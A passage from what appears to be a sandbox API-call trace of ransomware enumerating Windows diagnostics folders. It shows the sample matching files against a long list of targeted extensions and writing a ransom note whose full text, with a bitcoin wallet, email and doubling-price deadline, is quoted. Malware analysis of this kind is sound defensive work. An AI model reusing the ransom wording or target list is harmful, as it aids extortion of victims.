[0126.794] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.794] CloseHandle (hObject=0xffffffff) returned 0 [0126.794] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1197c2e9, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1197c2e9, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xda93aa7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_Wirelessadaptersettings.ps1", cAlternateFileName="")) returned 1 [0126.794] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.794] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_Wirelessadaptersettings.ps1") returned -1 [0126.794] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_Wirelessadaptersettings.ps1") returned -1 [0126.794] lstrcmpiA (lpString1="", lpString2="TS_Wirelessadaptersettings.ps1") returned -1 [0126.794] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Power\\TS_USBSelective.ps1") returned="TS_USBSelective.ps1" [0126.795] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Power\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Power\\") returned="C:\\Windows\\diagnostics\\system\\Power\\" [0126.795] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Power\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Power\\") returned="" [0126.795] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.795] CloseHandle (hObject=0xffffffff) returned 0 [0126.795] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1197c2e9, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1197c2e9, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xda93aa7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_Wirelessadaptersettings.ps1", cAlternateFileName="")) returned 0 [0126.795] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0126.795] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e470555, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="Printer", cAlternateFileName="")) returned 1 [0126.795] lstrcmpA (lpString1=".", lpString2="Printer") returned -1 [0126.796] lstrcmpA (lpString1="..", lpString2="Printer") returned -1 [0126.796] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\*.*") returned="*.*" [0126.796] FindFirstFileA (in: lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e470555, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0126.819] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0126.819] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e470555, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.830] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0126.830] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0126.830] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdae95bb5, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xdae95bb5, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xdae95bb5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4e5d, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="CL_Utility.ps1", cAlternateFileName="")) returned 1 [0126.830] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.830] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CL_Utility.ps1") returned 1 [0126.830] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CL_Utility.ps1") returned 1 [0126.840] lstrcmpiA (lpString1="", lpString2="CL_Utility.ps1") returned -1 [0126.840] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Printer\\*.*") returned="*.*" [0126.841] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Printer\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\") returned="C:\\Windows\\diagnostics\\system\\Printer\\" [0126.842] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\") returned="" [0126.842] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" [0126.842] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt")) returned 0xffffffff [0126.842] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.843] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0126.843] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0126.843] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.843] CloseHandle (hObject=0xffffffff) returned 0 [0126.843] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="CL_Utility.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1") returned="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1" [0126.843] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.ems") returned 0 [0126.843] lstrlenA (lpString="*.ems") returned 5 [0126.843] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.db") returned 0 [0126.844] lstrlenA (lpString="*.db") returned 4 [0126.844] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.dbf") returned 0 [0126.844] lstrlenA (lpString="*.dbf") returned 5 [0126.844] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.myox") returned 0 [0126.844] lstrlenA (lpString="*.myox") returned 6 [0126.844] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.myo") returned 0 [0126.844] lstrlenA (lpString="*.myo") returned 5 [0126.844] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.qbw") returned 0 [0126.844] lstrlenA (lpString="*.qbw") returned 5 [0126.844] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.qbb") returned 0 [0126.844] lstrlenA (lpString="*.qbb") returned 5 [0126.844] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.qbm") returned 0 [0126.844] lstrlenA (lpString="*.qbm") returned 5 [0126.844] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.qbo") returned 0 [0126.844] lstrlenA (lpString="*.qbo") returned 5 [0126.844] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.qbx") returned 0 [0126.844] lstrlenA (lpString="*.qbx") returned 5 [0126.844] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.qba") returned 0 [0126.845] lstrlenA (lpString="*.qba") returned 5 [0126.845] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.qby") returned 0 [0126.845] lstrlenA (lpString="*.qby") returned 5 [0126.845] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.qbj") returned 0 [0126.845] lstrlenA (lpString="*.qbj") returned 5 [0126.845] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.ofx") returned 0 [0126.845] lstrlenA (lpString="*.ofx") returned 5 [0126.845] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.qif") returned 0 [0126.845] lstrlenA (lpString="*.qif") returned 5 [0126.845] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.mye") returned 0 [0126.845] lstrlenA (lpString="*.mye") returned 5 [0126.845] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.mbox") returned 0 [0126.845] lstrlenA (lpString="*.mbox") returned 6 [0126.845] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.eml") returned 0 [0126.845] lstrlenA (lpString="*.eml") returned 5 [0126.845] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.pst") returned 0 [0126.845] lstrlenA (lpString="*.pst") returned 5 [0126.845] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.ost") returned 0 [0126.846] lstrlenA (lpString="*.ost") returned 5 [0126.846] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.idx") returned 0 [0126.846] lstrlenA (lpString="*.idx") returned 5 [0126.847] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.dbx") returned 0 [0126.847] lstrlenA (lpString="*.dbx") returned 5 [0126.847] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.sql") returned 0 [0126.847] lstrlenA (lpString="*.sql") returned 5 [0126.847] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.mdb") returned 0 [0126.847] lstrlenA (lpString="*.mdb") returned 5 [0126.847] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.fdb") returned 0 [0126.847] lstrlenA (lpString="*.fdb") returned 5 [0126.847] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.wab") returned 0 [0126.847] lstrlenA (lpString="*.wab") returned 5 [0126.847] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.dat") returned 0 [0126.847] lstrlenA (lpString="*.dat") returned 5 [0126.847] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.txt") returned 0 [0126.847] lstrlenA (lpString="*.txt") returned 5 [0126.847] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.jpeg") returned 0 [0126.847] lstrlenA (lpString="*.jpeg") returned 6 [0126.847] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.jpg") returned 0 [0126.848] lstrlenA (lpString="*.jpg") returned 5 [0126.848] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.png") returned 0 [0126.848] lstrlenA (lpString="*.png") returned 5 [0126.848] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.php") returned 0 [0126.848] lstrlenA (lpString="*.php") returned 5 [0126.848] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.cs") returned 0 [0126.848] lstrlenA (lpString="*.cs") returned 4 [0126.848] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.cpp") returned 0 [0126.848] lstrlenA (lpString="*.cpp") returned 5 [0126.848] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.rar") returned 0 [0126.848] lstrlenA (lpString="*.rar") returned 5 [0126.848] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.zip") returned 0 [0126.848] lstrlenA (lpString="*.zip") returned 5 [0126.848] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.html") returned 0 [0126.848] lstrlenA (lpString="*.html") returned 6 [0126.848] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.htm") returned 0 [0126.848] lstrlenA (lpString="*.htm") returned 5 [0126.848] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.xlsx") returned 0 [0126.849] lstrlenA (lpString="*.xlsx") returned 6 [0126.849] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.xls") returned 0 [0126.849] lstrlenA (lpString="*.xls") returned 5 [0126.849] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.mp4") returned 0 [0126.849] lstrlenA (lpString="*.mp4") returned 5 [0126.849] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.ppt") returned 0 [0126.849] lstrlenA (lpString="*.ppt") returned 5 [0126.849] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.pptx") returned 0 [0126.849] lstrlenA (lpString="*.pptx") returned 6 [0126.849] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.doc") returned 0 [0126.849] lstrlenA (lpString="*.doc") returned 5 [0126.849] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.dot") returned 0 [0126.849] lstrlenA (lpString="*.dot") returned 5 [0126.849] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.docx") returned 0 [0126.849] lstrlenA (lpString="*.docx") returned 6 [0126.849] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.7z") returned 0 [0126.849] lstrlenA (lpString="*.7z") returned 4 [0126.850] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.tar") returned 0 [0126.850] lstrlenA (lpString="*.tar") returned 5 [0126.850] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.bz2") returned 0 [0126.850] lstrlenA (lpString="*.bz2") returned 5 [0126.850] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.gz") returned 0 [0126.850] lstrlenA (lpString="*.gz") returned 4 [0126.850] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.mkv") returned 0 [0126.850] lstrlenA (lpString="*.mkv") returned 5 [0126.850] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.eml") returned 0 [0126.850] lstrlenA (lpString="*.eml") returned 5 [0126.850] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.msg") returned 0 [0126.850] lstrlenA (lpString="*.msg") returned 5 [0126.850] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.edb") returned 0 [0126.850] lstrlenA (lpString="*.edb") returned 5 [0126.850] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.accdb") returned 0 [0126.850] lstrlenA (lpString="*.accdb") returned 7 [0126.850] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.odb") returned 0 [0126.850] lstrlenA (lpString="*.odb") returned 5 [0126.851] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.java") returned 0 [0126.851] lstrlenA (lpString="*.java") returned 6 [0126.851] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.asm") returned 0 [0126.851] lstrlenA (lpString="*.asm") returned 5 [0126.851] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.pfx") returned 0 [0126.851] lstrlenA (lpString="*.pfx") returned 5 [0126.851] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.pem") returned 0 [0126.851] lstrlenA (lpString="*.pem") returned 5 [0126.851] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.p12") returned 0 [0126.851] lstrlenA (lpString="*.p12") returned 5 [0126.851] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.gpg") returned 0 [0126.851] lstrlenA (lpString="*.gpg") returned 5 [0126.851] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.vsd") returned 0 [0126.851] lstrlenA (lpString="*.vsd") returned 5 [0126.851] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.odg") returned 0 [0126.851] lstrlenA (lpString="*.odg") returned 5 [0126.851] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.raw") returned 0 [0126.851] lstrlenA (lpString="*.raw") returned 5 [0126.851] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.nef") returned 0 [0126.851] lstrlenA (lpString="*.nef") returned 5 [0126.851] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.svg") returned 0 [0126.851] lstrlenA (lpString="*.svg") returned 5 [0126.851] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.psd") returned 0 [0126.852] lstrlenA (lpString="*.psd") returned 5 [0126.852] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.vmx") returned 0 [0126.852] lstrlenA (lpString="*.vmx") returned 5 [0126.852] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.vmdk") returned 0 [0126.852] lstrlenA (lpString="*.vmdk") returned 6 [0126.852] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.vdi") returned 0 [0126.852] lstrlenA (lpString="*.vdi") returned 5 [0126.852] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.lay6") returned 0 [0126.852] lstrlenA (lpString="*.lay6") returned 6 [0126.852] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.mpeg") returned 0 [0126.852] lstrlenA (lpString="*.mpeg") returned 6 [0126.852] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.djvu") returned 0 [0126.852] lstrlenA (lpString="*.djvu") returned 6 [0126.852] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.tiff") returned 0 [0126.852] lstrlenA (lpString="*.tiff") returned 6 [0126.852] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.backup") returned 0 [0126.852] lstrlenA (lpString="*.backup") returned 8 [0126.852] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.pdf") returned 0 [0126.852] lstrlenA (lpString="*.pdf") returned 5 [0126.852] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.cert") returned 0 [0126.852] lstrlenA (lpString="*.cert") returned 6 [0126.852] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.docm") returned 0 [0126.852] lstrlenA (lpString="*.docm") returned 6 [0126.853] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.xlsm") returned 0 [0126.853] lstrlenA (lpString="*.xlsm") returned 6 [0126.853] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.dwg") returned 0 [0126.853] lstrlenA (lpString="*.dwg") returned 5 [0126.853] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.nd") returned 0 [0126.853] lstrlenA (lpString="*.nd") returned 4 [0126.853] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.tlg") returned 0 [0126.853] lstrlenA (lpString="*.tlg") returned 5 [0126.853] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.lgb") returned 0 [0126.853] lstrlenA (lpString="*.lgb") returned 5 [0126.853] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.mov") returned 0 [0126.853] lstrlenA (lpString="*.mov") returned 5 [0126.853] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.xdw") returned 0 [0126.853] lstrlenA (lpString="*.xdw") returned 5 [0126.853] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.ods") returned 0 [0126.853] lstrlenA (lpString="*.ods") returned 5 [0126.853] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.wav") returned 0 [0126.853] lstrlenA (lpString="*.wav") returned 5 [0126.853] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.mp3") returned 0 [0126.853] lstrlenA (lpString="*.mp3") returned 5 [0126.853] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.aiff") returned 0 [0126.853] lstrlenA (lpString="*.aiff") returned 6 [0126.853] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.flac") returned 0 [0126.853] lstrlenA (lpString="*.flac") returned 6 [0126.854] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.m4a") returned 0 [0126.854] lstrlenA (lpString="*.m4a") returned 5 [0126.854] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1", pszSpec="*.csv") returned 0 [0126.854] lstrlenA (lpString="*.csv") returned 5 [0126.854] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9bad4c, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe9bad4c, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x8fd31afb, ftLastWriteTime.dwHighDateTime=0x1ca03f7, nFileSizeHigh=0x0, nFileSizeLow=0x616d, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiagPackage.diagpkg", cAlternateFileName="")) returned 1 [0126.854] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.854] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DiagPackage.diagpkg") returned 1 [0126.854] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DiagPackage.diagpkg") returned 1 [0126.854] lstrcmpiA (lpString1="", lpString2="DiagPackage.diagpkg") returned -1 [0126.854] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Printer\\CL_Utility.ps1") returned="CL_Utility.ps1" [0126.854] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Printer\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\") returned="C:\\Windows\\diagnostics\\system\\Printer\\" [0126.854] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\") returned="" [0126.854] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="HOW TO DECRYPT 